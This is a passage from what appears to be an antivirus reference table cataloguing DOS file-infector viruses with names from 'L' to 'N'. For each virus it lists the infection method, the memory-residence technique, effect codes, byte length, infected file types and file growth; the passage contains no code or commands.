¦LR1.2884 ¦INFI¦MCB ¦ V ¦2884 ¦ .C.E&CE* ¦ e ¦ L ¦
¦LSD.1600 ¦FIND¦ - ¦ HV ¦1600 ¦ *.* * ¦ s ¦ 0, overwrite ¦
¦Lucas.1871 ¦FIND¦ - ¦ V ¦1871 ¦ .C&C * ¦ e ¦ L+p ¦
¦Luce.4619 ¦INT ¦MCB ¦HVEr¦4619 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦LV.477 ¦INFI¦ADDR¦ S ¦477 ¦COMMAND.COM¦ i ¦ 0, inserting ¦
¦Lviv.600 ¦INT ¦MCB ¦ Er ¦600 ¦ C ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part M
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Maaike.164 ¦INT ¦KEEP¦ - ¦164 ¦ E ¦ s ¦ L, companion ¦
¦Maaike.250 (2)¦INT ¦KEEP¦ V ¦250 ¦ E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MacGyver.2803(2)INT ¦KEEP¦ S ¦2803 ¦ E * ¦ e ¦ L+p ¦
¦Macgyver.2824 ¦INFI¦MCB ¦ S ¦2824 ¦ .E ¦ e ¦ L ¦
¦MacGyver.4112 ¦INT ¦MCB ¦ Er ¦4112 ¦ CE+boot*¦ e ¦ L ¦
¦MacGyver.4645 ¦INT ¦MCB ¦ V ¦4645 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mad.223 ¦FIND¦ - ¦ Er ¦223 ¦ .C * ¦ e ¦ L+? ¦
¦Mad.279 (3)¦FIND¦ - ¦ H ¦279 ¦ .C&C * ¦ e ¦ L ¦
¦Mad.1288 ¦INT ¦MCB ¦ H ¦1288 ¦ .E&E * ¦ e ¦ L ¦
¦Mad.2631 ¦INT ¦MCB ¦ HV ¦2631 ¦ CE * ¦ e ¦ L+(0-255) ¦
¦Mad.2748 ¦INT ¦MCB ¦ HV ¦2748 ¦ CE * ¦ e ¦ L ¦
¦Mad.3544 ¦INT ¦MCB ¦ HV ¦3544 ¦ .C.E&CE* ¦ i,e ¦ L ¦
¦Mad.3732 ¦INT ¦MCB ¦ H ¦3732 ¦ C * ¦ i,e ¦ L ¦
¦Mad.3734 ¦INT ¦MCB ¦ H ¦3734 ¦ C * ¦ i,e ¦ L ¦
¦Mad.4268 ¦INT ¦MCB ¦ HV ¦4268 ¦ .C.E&CE* ¦ i,e ¦ C-L+?, E-L ¦
¦Mad.4340 ¦INT ¦MCB ¦ HV ¦4340 ¦ .C.E&CE* ¦ i,e ¦ C-L+?, E-L ¦
¦Mad.5054 ¦INT ¦MCB ¦ HV ¦5054 ¦ .C.E&CE* ¦ i,e ¦ L ¦
¦Mad.5131 ¦INT ¦DOSD¦ HV ¦5131 ¦ .C.E&CE* ¦CiEe ¦ L ¦
¦Mad.7321 ¦INT ¦MCB ¦ Er ¦7321 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MadSatan.19033 ¦INT ¦KEEP¦ V ¦19033¦ E * ¦ e ¦ L+p ¦
¦.Abba ¦INT ¦KEEP¦ V ¦9849 ¦ CE * ¦ e ¦ L+p ¦
¦.Ruei ¦INT ¦KEEP¦ V ¦9849 ¦ CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Malatinec.1554 ¦FIND¦ - ¦ H ¦1554 ¦ CE ¦ e ¦ L+p ¦
¦Malatinec.2367 ¦INT ¦MCB ¦ H ¦2367 ¦ CE * ¦ e ¦ L+p ¦
¦Malatinec.2396 ¦INT ¦MCB ¦ H ¦2396 ¦ CE * ¦ e ¦ L+p ¦
¦Malatinec.3737 ¦INT ¦MCB ¦ H ¦3737 ¦ CE ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Malmsey.495 ¦FIND¦ - ¦ HV ¦495 ¦ .C ¦ s ¦ 0, overwrite ¦
¦Malmsey.Habitat¦FIND¦ - ¦ HV ¦1703 ¦ .E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MangeTout.1091 ¦INFI¦MCB ¦ H ¦1091 ¦ .C.E&CE * ¦ e ¦ L ¦
¦MangeTout.1099 ¦INFI¦MCB ¦ H ¦1099 ¦ .C.E&CE * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mao.1000 ¦INT ¦MCB ¦ S ¦1000 ¦ .C ¦ e ¦ L ¦
¦Mao.1465 (2)¦INT ¦MCB ¦ S ¦1465 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Markiz.1972 ¦INT ¦MCB ¦ - ¦1972 ¦ CE * ¦ i ¦ L ¦
¦Markiz.2660 ¦INT ¦MCB ¦ VS ¦2660 ¦ .C.E&CE* ¦CsEe ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Marzia.2048 ¦INT ¦MCB ¦ H ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.Baracuda ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.Demian ¦INT ¦MCB ¦ - ¦1536 ¦ E +boot *¦ e ¦ L ¦
¦.DV (2)¦INT ¦MCB ¦ HV ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.FaXFree ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.Pasiphae ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.Pisello ¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.SZ ¦INT ¦MCB ¦ HV ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.VDS (2)¦INT ¦MCB ¦ Ch ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦.WW (2)¦INT ¦MCB ¦ HV ¦2048 ¦ CE+boot *¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mask.2389 ¦INT ¦MCB ¦ VS ¦2389 ¦ CE * ¦ e ¦ L ¦
¦Mask.3060 ¦INT ¦MCB ¦ V ¦3060 ¦ CE * ¦ e ¦ L+(0-31) ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mayak.2339 ¦INT ¦MCB ¦ S ¦2339 ¦ CES ¦ e ¦ L ¦
¦Mayak.2370 ¦INT ¦MCB ¦ S ¦2370 ¦ CES ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mefl.625 ¦INT ¦MCB ¦ - ¦625 ¦ E * ¦ e ¦ L ¦
¦Mefl.700 ¦INT ¦MCB ¦ - ¦700 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Megadeth.3973 ¦INT ¦MCB ¦ V ¦3973 ¦ CEO * ¦ s ¦ L+? ¦
¦.Sepultura ¦INT ¦MCB ¦ V ¦4203 ¦ CEO * ¦ s ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Meihua.1488 ¦INT ¦MCB ¦ V ¦1488 ¦ .C.E ¦ e ¦ L+p ¦
¦Meihua.1959 ¦INT ¦MCB ¦ V ¦1819 ¦ .C.E ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Meht.1258 ¦INT ¦DOSD¦ Ch ¦1258 ¦ CE * ¦ e ¦ L ¦
¦Meht.1317 ¦INT ¦DOSD¦ Ch ¦1317 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MemLapse.293 ¦INT ¦MCB ¦ - ¦293 ¦ .C ¦ e ¦ L+(0-255) ¦
¦MemLapse.787 ¦INT ¦MCB ¦ - ¦787 ¦ CE * ¦ e ¦ L ¦
¦.Glitch ¦FIND¦ - ¦ Er ¦407 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Metallica.500(2)INT ¦INTB¦ - ¦500 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Metallica.1739 ¦INT ¦MCB ¦ VCh¦1739 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mf.3490 ¦INT ¦MCB ¦ HV ¦3490 ¦ CE * ¦ e ¦ L ¦
¦Mf.3503 ¦INT ¦MCB ¦HVEr¦3503 ¦ CE * ¦ e ¦ L ¦
¦Mf.3564 ¦INT ¦MCB ¦ HV ¦3564 ¦ CE * ¦ e ¦ L ¦
¦Mf.4270 ¦INT ¦MCB ¦ HV ¦4270 ¦ CE+boot*¦ e ¦ L ¦
¦Mf.4625 ¦INT ¦MCB ¦ HV ¦4625 ¦ CE+boot*¦ e ¦ L ¦
¦Mf.5088 ¦INT ¦MCB ¦ HV ¦5088 ¦ CE+boot*¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MGen.Agent.1118¦FIND¦ - ¦ - ¦1118 ¦ .C * ¦ e ¦ L+? ¦
¦.Agent.1310 ¦FIND¦ - ¦ - ¦1310 ¦ .C * ¦ e ¦ L+? ¦
¦.Agent.1337 ¦FIND¦ - ¦ - ¦1337 ¦ .C * ¦ e ¦ L+? ¦
¦.Agent.1466 ¦FIND¦ - ¦ - ¦1466 ¦ .C * ¦ e ¦ L+? ¦
¦.Agent.1656 ¦FIND¦ - ¦ - ¦1656 ¦ .C * ¦ e ¦ L+? ¦
¦.Agent.1715 ¦INT ¦MCB ¦ - ¦1715 ¦ C * ¦ e ¦ L+? ¦
¦.Agent.2204 ¦FIND¦ - ¦ - ¦2204 ¦ .C ¦ e ¦ L+? ¦
¦.Agent.3040 ¦INT ¦MCB ¦ - ¦3040 ¦ CE ¦ e ¦ L+? ¦
¦.Garden ¦FIND¦ - ¦ HV ¦1703 ¦ .C.E* ¦ s ¦ 0, overwrite ¦
¦.HiTek ¦FIND¦ - ¦ - ¦2193 ¦ .C.E* ¦ e ¦ C-L+5+? E-L+? ¦
¦.Secret ¦FIND¦ - ¦ HV ¦2094 ¦ .C&C* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mgn.2048 (2)¦INT ¦MCB ¦ V ¦2048 ¦ CE ¦ e ¦ L,COMMAND.COM - 0¦
¦Mgn.2560 (4)¦INT ¦MCB ¦ V ¦2560 ¦ CE ¦ e ¦ L,COMMAND.COM - 0¦
¦Mgn.3000 ¦INT ¦MCB ¦ VCh¦3000 ¦ CE ¦CsEe ¦ L,COMMAND.COM - 0¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MGUL.950 ¦INT ¦MCB ¦ H ¦950 ¦ CE* ¦ e ¦ L ¦
¦MGUL.1953 ¦INT ¦MCB ¦ H ¦1953 ¦ CE* ¦ e ¦ L ¦
¦MGUL.1962 ¦INT ¦MCB ¦ H ¦1962 ¦ CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mh.792 ¦INT ¦MCB ¦ - ¦792 ¦ CE * ¦ e ¦ L ¦
¦Mh.1432 ¦INT ¦MCB ¦ - ¦1432 ¦ CE+boot*¦ e ¦ L ¦
¦Mh.1438 ¦INT ¦MCB ¦ - ¦1438 ¦ CE+boot*¦ e ¦ L ¦
¦Mh.1481 ¦INFI¦MCB ¦ - ¦1481 ¦ CE * ¦ e ¦ L ¦
¦Mh.1503 ¦INT ¦MCB ¦ - ¦1503 ¦ CE+boot*¦ e ¦ L ¦
¦Mh.1538 ¦INFI¦MCB ¦ - ¦1538 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Milan.359 ¦FIND¦ - ¦ HV ¦359 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦.Naziskin.270 ¦FIND¦ - ¦ H ¦270 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦.Naziskin.335 ¦FIND¦ - ¦ H ¦335 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦.Prodigy ¦FIND¦ - ¦ HV ¦268 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MiME.Demo ¦FIND¦ - ¦ - ¦911 ¦ .C. * ¦ e ¦ L+? ¦
¦.WhoNo ¦FIND¦ - ¦ - ¦1263 ¦ .C * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Minsk.1075 ¦INT ¦MCB ¦ErCh¦1075 ¦ .C.E * ¦ e ¦ L+p ¦
¦Minsk.1447 ¦INT ¦MCB ¦ - ¦1447 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MIPhT.460 ¦INT ¦MCB ¦ - ¦460 ¦ C * ¦ s ¦ L ¦
¦MIPhT.905 ¦INT ¦MCB ¦ V ¦905 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mipt.439 ¦INT ¦MCB ¦ Ch ¦439 ¦ .C&C * ¦ e ¦ L ¦
¦Mipt.602 ¦INT ¦MCB ¦ErCh¦602 ¦ .C * ¦ e ¦ L ¦
¦Mipt.748 ¦INT ¦MCB ¦ - ¦748 ¦ .C.E&CE ¦ e ¦ C-L, E-L+128+p ¦
¦Mipt.879 ¦INT ¦MCB ¦ Ch ¦879 ¦ .C * ¦ e ¦ L ¦
¦Mipt.2000 ¦INT ¦MCB ¦ - ¦2000 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MIREA.1766 ¦INT ¦MCB ¦ Ch ¦1766 ¦ CE * ¦ e ¦ L+? ¦
¦MIREA.2087 ¦INT ¦MCB ¦ErCh¦2087 ¦ CE * ¦ e ¦ L+? ¦
¦MIREA.2117 ¦INT ¦MCB ¦ErCh¦2117 ¦ CE * ¦ e ¦ L+? ¦
¦MIREA.4156 ¦FIND¦ - ¦ Er ¦4156 ¦ .E&E * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mithrandir.450 ¦INT ¦MCB ¦ - ¦450 ¦ .E * ¦ s ¦ companion ¦
¦Mithrandir.496 ¦INT ¦MCB ¦ - ¦496 ¦ .E ¦ s ¦ companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mmca.505 ¦INT ¦MCB ¦ - ¦505 ¦ CE * ¦ e ¦ L ¦
¦Mmca.879 ¦INT ¦MCB ¦ - ¦879 ¦ CE * ¦ e ¦ L ¦
¦Mmca.882 ¦INT ¦MCB ¦ Er ¦882 ¦ CE * ¦ e ¦ L ¦
¦Mmca.1131 ¦INT ¦MCB ¦ Er ¦1131 ¦ CE * ¦ e ¦ C-L+3, E-L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MME.Ssr.18273 ¦INT ¦MCB ¦ HVS¦18273¦ CE * ¦ e ¦ L ¦
¦MME.Ssr.18364 ¦INT ¦MCB ¦ HVS¦18364¦ CE * ¦ e ¦ L ¦
¦MME.Ssr.19071 ¦INT ¦MCB ¦ HVS¦19071¦ CE * ¦ e ¦ L ¦
¦MME.Ssr.19834 ¦INT ¦MCB ¦ HVS¦19834¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Moctezuma.2208 ¦INT ¦KEEP¦ HV ¦2208 ¦ .C.E * ¦CsEe ¦ C-L+14h, E-L+p ¦
¦Moctezuma.2416 ¦INT ¦MCB ¦ H ¦2416 ¦ .C.E * ¦CsEe ¦ C-L+14h, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Morgot.823 ¦INT ¦MCB ¦ Er ¦823 ¦ E * ¦ e ¦ L+p ¦
¦Morgot.841 ¦INT ¦MCB ¦ - ¦841 ¦ E * ¦ e ¦ L+p ¦
¦Morgot.948 ¦INT ¦MCB ¦ - ¦948 ¦ E * ¦ e ¦ L+p ¦
¦Morgot.1017 ¦INT ¦MCB ¦ - ¦1017 ¦ E ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MrD.1536 ¦INT ¦MCB ¦ V ¦1536 ¦ E * ¦ e ¦ L+p ¦
¦MrD.1569 ¦INT ¦MCB ¦ V ¦1569 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MrTwister.12288¦FIND¦ - ¦ HV ¦12288¦ *.* * ¦ s ¦ 0, overwrite ¦
¦MrTwister.16384¦FIND¦ - ¦ HV ¦16384¦ *.INI * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mnemonix.A-Bomb¦INT ¦MCB ¦ - ¦878 ¦ .C&C * ¦ e ¦ L ¦
¦.BW.1027 ¦FIND¦ - ¦ - ¦1027 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.Esp ¦INT ¦MCB ¦ - ¦519 ¦ .E&E * ¦ s ¦ companion ¦
¦.LoTek.856 ¦FIND¦ - ¦ - ¦856 ¦ .C.E * ¦ e ¦ C-L+3, E-L ¦
¦.Neuropath ¦INT ¦MCB ¦ - ¦928 ¦ C * ¦ e ¦ L ¦
¦.Sugar ¦FIND¦ - ¦ V ¦416 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MtE-based viruses ¦
¦- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -¦
¦MtE.CoffeeShop ¦INT ¦MCB ¦ V ¦3792 ¦ E * ¦ e ¦ L+? ¦
¦.DarKStaR ¦FIND¦ - ¦ - ¦2828 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Dedicated (3)¦FIND¦ - ¦ V ¦2868 ¦ .C * ¦ e ¦ L+? ¦
¦.Encroacher ¦FIND¦ - ¦ H ¦3070 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Fear ¦FIND¦ - ¦ - ¦2864 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Groove (2)¦INT ¦ - ¦ VH ¦3507 ¦ CEO * ¦ e ¦ L+? ¦
¦.Insuff (3)¦FIND¦ - ¦ - ¦2712 ¦ .E * ¦ s ¦ L+? ¦
¦.LC92 ¦FIND¦ - ¦ H ¦2852 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Ludwig.2778 ¦FIND¦ - ¦ - ¦2778 ¦ .C ¦ e ¦ L+? ¦
¦.Metal ¦INT ¦MCB ¦ - ¦3321 ¦ CE * ¦ e ¦ L+? ¦
¦.Mother ¦FIND¦ - ¦ VM ¦3934 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Pogue ¦INT ¦MCB ¦ M ¦3017 ¦ .C&C * ¦ e ¦ L+? ¦
¦.Questo ¦FIND¦ - ¦ H ¦2824 ¦ .C&C * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MTZ.971 ¦FIND¦ - ¦ V ¦971 ¦ .C * ¦ e ¦ L ¦
¦MTZ.1907 ¦INT ¦MCB ¦ V ¦1907 ¦ .C&C * ¦ e ¦ L ¦
¦.Overkill.1191 ¦FIND¦ - ¦ V ¦1191 ¦ .C * ¦ s ¦ L ¦
¦.Overkill.1308 ¦FIND¦ - ¦ V ¦1308 ¦ .E&E * ¦ e ¦ L+p ¦
¦.Overkill.1385 ¦INT ¦MCB ¦ V ¦1385 ¦ .C * ¦ s ¦ L ¦
¦.Overkill.2624 ¦INT ¦MCB ¦ V ¦2624 ¦ .E&E * ¦ e ¦ L+? ¦
¦.PinkPanther. ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ 4510¦INT ¦MCB ¦ - ¦4510 ¦ .E&E * ¦ e ¦ L ¦
¦.PinkPanther. ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦
¦ 5081¦INT ¦MCB ¦ V ¦5081 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦MVF.1866 ¦INFI¦MCB ¦ V ¦1866 ¦ .C * ¦ e ¦ L+? ¦
¦MVF.1896 ¦INFI¦MCB ¦ V ¦1896 ¦ .C * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Murphy.1008 ¦INT ¦MCB ¦ H ¦1008 ¦ CE * ¦ e ¦ L ¦
¦.Tormentor ¦INT ¦MCB ¦ H ¦1072 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mururoa.2464 ¦INT ¦MCB ¦ VEr¦2464 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Mururoa.3443 ¦INT ¦MCB ¦ VEr¦3443 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Mutator.307 ¦INT ¦MCB ¦ H ¦307 ¦ CE ¦ e ¦ L ¦
¦Mutator.459 ¦INT ¦MCB ¦ H ¦459 ¦ C ¦ e ¦ L ¦
¦Mutator.780 ¦INT ¦MCB ¦ HV ¦780 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Madwill.2400 ¦INT ¦MCB ¦ V ¦2400 ¦ CE ¦ e ¦ L ¦
¦Magdzie.1114 ¦INT ¦MCB ¦ V ¦1114 ¦ .E&E * ¦ e ¦ L+p ¦
¦Maiden.1726 ¦INT ¦MCB ¦ChEr¦1726 ¦ CE * ¦ e ¦ L+? ¦
¦Mainman.362 ¦INT ¦KEEP¦ H ¦362 ¦ CEO ¦ s ¦ 0, overwrite ¦
¦Major.1644 ¦INT ¦MCB ¦ Ch ¦1644 ¦ E * ¦ e ¦ L+p ¦
¦Malaga.2610 ¦INFI¦KEEP¦ V ¦2610 ¦ CE+boot ¦ e ¦ L+p ¦
¦Mammoth.6000 ¦INT ¦MCB ¦ HEr¦6000 ¦ CE+boot*¦ e ¦ L ¦
¦Manu.4096 ¦INT ¦MCB ¦ V ¦4096 ¦ CE * ¦ e ¦ L ¦
¦Manuel.2209 ¦INT ¦HMA ¦ - ¦2209 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Manzon.1414 ¦INT ¦MCB ¦ - ¦1414 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Marauder.860 ¦FIND¦ - ¦ H ¦860 ¦ .C * ¦ e ¦ L ¦
¦Marian.700 ¦INT ¦MCB ¦ - ¦700 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Mariner.5000 ¦INT ¦MCB ¦ HV ¦5000 ¦ .C.E&CE* ¦ s ¦ L ¦
¦Martyr.641 ¦INT ¦MCB ¦ V ¦641 ¦ C * ¦ e ¦ L ¦
¦Massacre.775 ¦INT ¦MCB ¦ H ¦775 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Maximum.1198 ¦FIND¦ - ¦ V ¦1198 ¦ .C&C * ¦ e ¦ L ¦
¦Maybe.664 ¦FIND¦ - ¦ V ¦664 ¦ .C * ¦ e ¦ L ¦
¦MayDay.419 ¦INT ¦MCB ¦ VCh¦419 ¦ C * ¦ e ¦ L ¦
¦Megawatt.249 ¦INT ¦INTB¦ - ¦249 ¦ .C * ¦ e ¦ L ¦
¦Mephisto.1235 ¦INT ¦MCB ¦ HV ¦1235 ¦CO?????.?OM¦ e ¦ L ¦
¦MG.500 (2)¦INFI¦INTB¦ - ¦500 ¦ .C ¦ e ¦ L ¦
¦MGTU.273 ¦FIND¦ - ¦ - ¦273 ¦ .C&C * ¦ e ¦ L ¦
¦Mira.438 ¦INT ¦MCB ¦ - ¦438 ¦ E * ¦ e ¦ L ¦
¦Miras.640 ¦FIND¦ - ¦ V ¦640 ¦ .C * ¦ e ¦ L ¦
¦Microsof.1024 ¦FIND¦ - ¦ - ¦1024 ¦ .E * ¦ e ¦ L+p ¦
¦Mickie.1100 ¦INT ¦MCB ¦ - ¦1100 ¦ CEO * ¦ e ¦ L+p ¦
¦Microb.431 ¦INT ¦INTB¦ HV ¦431 ¦ .C&C * ¦ e ¦ L ¦
¦Mirror.482 ¦INT ¦ADDR¦ HV ¦482 ¦ C * ¦ e ¦ L ¦
¦Mirror.4130 (2)¦INT ¦MCB ¦ - ¦4130 ¦ CE * ¦ e ¦ L+? ¦
¦Mixx.570 ¦INT ¦MCB ¦ - ¦570 ¦ E * ¦ e ¦ L+p ¦
¦Monarch.1040 ¦INFI¦KEEP¦ HEr¦1040 ¦ .C.E * ¦ e ¦ L ¦
¦Moose.353 ¦FIND¦ - ¦ - ¦353 ¦ .C ¦ e ¦ L ¦
¦Moskau.800 ¦FIND¦ - ¦ - ¦800 ¦ .C&C * ¦ e ¦ L ¦
¦Mosquito.768 ¦INT ¦MCB ¦ChEr¦768 ¦ E * ¦ i ¦ L ¦
¦MP.1024 ¦FIND¦ - ¦ H ¦1024 ¦ .C * ¦ e ¦ L ¦
¦MrRat.1278 ¦INT ¦MCB ¦ Ch ¦1278 ¦ CE * ¦ e ¦ L ¦
¦Mrta.2776 ¦FIND¦ - ¦ H ¦2776 ¦ .C.E ¦ s ¦ 0, overwrite ¦
¦Ms.1006 ¦FIND¦ - ¦ - ¦1006 ¦ .C * ¦ e ¦ L+p ¦
¦Mst.322 ¦INT ¦INTB¦ V ¦322 ¦ .C * ¦ e ¦ L ¦
¦Muhamor.4608 ¦INT ¦KEEP¦ Ch ¦4608 ¦ .C.E&CE* ¦CsEi ¦ L ¦
¦Murcia.4651 ¦INT ¦KEEP¦VSEr¦4651 ¦ C * ¦ s ¦ L ¦
¦MutInt.680 ¦INT ¦MCB ¦ H ¦680 ¦ C ¦ e ¦ L ¦
¦Mw.278 ¦INT ¦INTB¦ Er ¦278 ¦ .C * ¦ s ¦ L ¦
¦MyChild.1000(2)¦INT ¦MCB ¦ - ¦1000 ¦ CE * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part N
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Nadym.493 ¦FIND¦ - ¦ V ¦493 ¦ .C&C * ¦ e ¦ L ¦
¦Nadym.934 ¦FIND¦ - ¦ V ¦934 ¦ .C&C * ¦ e ¦ L ¦
¦Nadym.1058 ¦FIND¦ - ¦ Ch ¦1058 ¦ .C&C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Natas.4740 ¦INT ¦MCB ¦ H ¦4740 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4744 ¦INT ¦MCB ¦ H ¦4744 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4746 ¦INT ¦MCB ¦ HEr¦4746 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4766 ¦INT ¦MCB ¦ H ¦4766 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4774 ¦INT ¦MCB ¦ H ¦4774 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4786 ¦INT ¦MCB ¦ H ¦4786 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4826 ¦INT ¦MCB ¦ H ¦4826 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.4918 ¦INT ¦MCB ¦ H ¦4918 ¦ CE *¦ e ¦ L ¦
¦Natas.4988 ¦INT ¦MCB ¦ H ¦4988 ¦ CE+boot *¦ e ¦ L ¦
¦Natas.5228 ¦INT ¦MCB ¦ H ¦5228 ¦ CE+boot *¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Nax.858 ¦INT ¦MCB ¦ Er ¦858 ¦ .C * ¦ i ¦ L ¦
¦Nax.1402 ¦INT ¦MCB ¦ Ch ¦1402 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Notice.974 ¦INT ¦MCB ¦ V ¦974 ¦ E * ¦ e ¦ L+p ¦
¦Notice.987 ¦INT ¦MCB ¦ V ¦987 ¦ E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦NuKe Encryption Device (NED) based ¦
¦ - - - - - - -T- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦NED.ItsHard ¦FIND¦ - ¦ H ¦1795 ¦ .C * ¦ e ¦ L+? ¦
¦.Tester ¦FIND¦ - ¦ V ¦1708 ¦ .C * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Nuker.Excess ¦INFI¦MCB ¦HVEr¦3536 ¦ .C&C* ¦ e ¦ L ¦
¦.Trance.1688 ¦INT ¦MCB ¦ V ¦1688 ¦ C * ¦ e ¦ L ¦
¦.Trance.1982 ¦INT ¦MCB ¦ HEr¦1982 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Neurobasher.AlphaINT¦MCB ¦ V ¦2000 ¦ CES* ¦ e ¦ L ¦
¦.Avalanche ¦INT ¦MCB ¦ H ¦2818 ¦ CE * ¦ e ¦ L ¦
